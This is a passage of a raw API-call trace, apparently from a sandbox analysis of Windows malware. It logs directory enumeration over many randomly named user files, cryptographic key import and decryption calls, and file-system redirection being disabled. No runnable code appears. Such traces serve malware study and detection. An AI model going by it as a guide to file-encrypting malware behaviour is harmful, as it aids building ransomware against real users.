dwReserved0=0x0, dwReserved1=0x0, cFileName="sl70jWmP2ggACy.png", cAlternateFileName="")) returned 1 [0139.838] GetLastError () returned 0x0 [0139.838] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xab59, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBAT3tYNBcHdC.ppt", cAlternateFileName="")) returned 1 [0139.838] GetLastError () returned 0x0 [0139.838] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x690b, dwReserved0=0x0, dwReserved1=0x0, cFileName="cdHLWs2KE.docx", cAlternateFileName="")) returned 1 [0139.838] GetLastError () returned 0x0 [0139.838] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf37f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHCEF.gif", cAlternateFileName="")) returned 1 [0139.838] GetLastError () returned 0x0 [0139.838] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="P6tWitG0.ppt", cAlternateFileName="")) returned 1 [0139.838] GetLastError () returned 0x0 [0139.839] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZcPV3qk7PkeQOKKV.xls", cAlternateFileName="")) returned 1 [0139.839] GetLastError () returned 0x0 [0139.839] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x134dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="X18sQ2pVfY.mp3", cAlternateFileName="")) returned 1 [0139.839] GetLastError () returned 0x0 [0139.839] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EOk7P095P.xls", cAlternateFileName="")) returned 1 [0139.839] GetLastError () returned 0x0 [0139.839] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449a6bc0, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BDK13uXlqscCs2sGFIQ.doc", cAlternateFileName="")) returned 1 [0139.839] GetLastError () returned 0x0 [0139.839] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="ow3Vle4.swf", cAlternateFileName="")) returned 1 [0139.839] GetLastError () returned 0x0 [0139.839] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11dda, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLUwMaQCvDlNDoCoQ3.xls", cAlternateFileName="")) returned 1 [0139.839] GetLastError () returned 0x0 [0139.839] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RBkxpRf3.m4a", cAlternateFileName="")) returned 1 [0139.840] GetLastError () returned 0x0 [0139.840] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15a45, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCVoNePy.png", cAlternateFileName="")) returned 1 [0139.840] GetLastError () returned 0x0 [0139.840] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x166d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="dPc6HLBDbx19XugtWM.jpg", cAlternateFileName="")) returned 1 [0139.840] GetLastError () returned 0x0 [0139.840] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16fbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="ywcd6Y1iM3n9j4GZ20Ya.png", cAlternateFileName="")) returned 1 [0139.840] GetLastError () returned 0x0 [0139.840] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x873d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3QVfoNUquygvYJYnxL.m4a", cAlternateFileName="")) returned 1 [0139.840] GetLastError () returned 0x0 [0139.840] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc601, dwReserved0=0x0, dwReserved1=0x0, cFileName="AhsbCQy.csv", cAlternateFileName="")) returned 1 [0139.840] GetLastError () returned 0x0 [0139.840] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OpdqDACZhn.ots", cAlternateFileName="")) returned 1 [0139.840] GetLastError () returned 0x0 [0139.840] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xxTfgN.jpg", cAlternateFileName="")) returned 1 [0139.840] GetLastError () returned 0x0 [0139.841] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xaeb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="1HtpGhRDb.ots", cAlternateFileName="")) returned 1 [0139.841] GetLastError () returned 0x0 [0139.841] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11bb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="tE4nVH8Z0MXjyxhaHaNx.pdf", cAlternateFileName="")) returned 1 [0139.841] GetLastError () returned 0x0 [0139.841] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IBowTJ.csv", cAlternateFileName="")) returned 1 [0139.841] GetLastError () returned 0x0 [0139.841] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9776, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAYEd2GbRKcU4.jpg", cAlternateFileName="")) returned 1 [0139.841] GetLastError () returned 0x0 [0139.841] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPTqG3qP.ots", cAlternateFileName="")) returned 1 [0139.841] GetLastError () returned 0x0 [0140.112] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x7545, dwReserved0=0x0, dwReserved1=0x0, cFileName="YMZNKV4.mkv", cAlternateFileName="")) returned 1 [0140.112] GetLastError () returned 0x0 [0140.114] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="IZnOWmy.gif", cAlternateFileName="")) returned 1 [0140.114] GetLastError () returned 0x0 [0140.117] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="4DTakzSmlzvmIUv.mp3", cAlternateFileName="")) returned 1 [0140.117] GetLastError () returned 0x0 [0140.118] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x117b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="j9JYPCvbXdUa8a9vWWKs.pptx", cAlternateFileName="")) returned 1 [0140.118] GetLastError () returned 0x0 [0140.120] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15a57, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCrMyD.gif", cAlternateFileName="")) returned 1 [0140.120] GetLastError () returned 0x0 [0140.121] FindClose (in: hFindFile=0x8717e0 | out: hFindFile=0x8717e0) returned 1 [0140.211] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x21ac418 | out: hHeap=0x1d0000) returned 1 [0140.214] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) Thread: id = 128 os_tid = 0x4f0 [0139.549] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x21c0428 [0139.550] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x21d0430 [0139.551] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x28) returned 0x2167100 [0139.551] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x110102) returned 0x34f0020 [0139.551] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x50) returned 0x2167130 [0139.551] CryptImportKey (in: hProv=0x8450c0, pbData=0x33cf958*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x33cf9c0 | out: phKey=0x33cf9c0*=0x871860) returned 1 [0139.551] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x33cf9a8, dwFlags=0x0) returned 1 [0139.551] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2167130, pdwDataLen=0x33cf974 | out: pbData=0x2167130, pdwDataLen=0x33cf974) returned 1 [0139.551] CryptDestroyKey (hKey=0x871860) returned 1 [0139.551] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x753b0000 [0139.552] GetProcAddress (hModule=0x753b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x753dd620 [0139.552] Wow64DisableWow64FsRedirection (in: OldValue=0x33cfa10 | out: OldValue=0x33cfa10*=0x0) returned 1 [0139.552] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167130 | out: hHeap=0x1d0000) returned 1 [0139.552] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.552] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.553] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.553] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.553] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.553] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.553] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.553] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.553] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.553] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.554] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.554] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.554] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.554] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.554] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.554] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.554] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.554] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.554] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.555] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.555] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.555] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.555] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.555] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.555] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.555] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.555] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.555] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.556] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.557] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.557] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.557] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.557] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.557] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.557] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.557] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.557] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.557] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.558] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.558] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.558] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.558] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.558] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.558] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.558] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.558] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.559] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.559] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.559] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.559] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.559] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.559] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.559] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.559] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.559] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.559] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.559] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.560] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.561] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.561] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.561] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.561] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.561] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.561] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.561] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.561] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.561] WaitForSingleObject 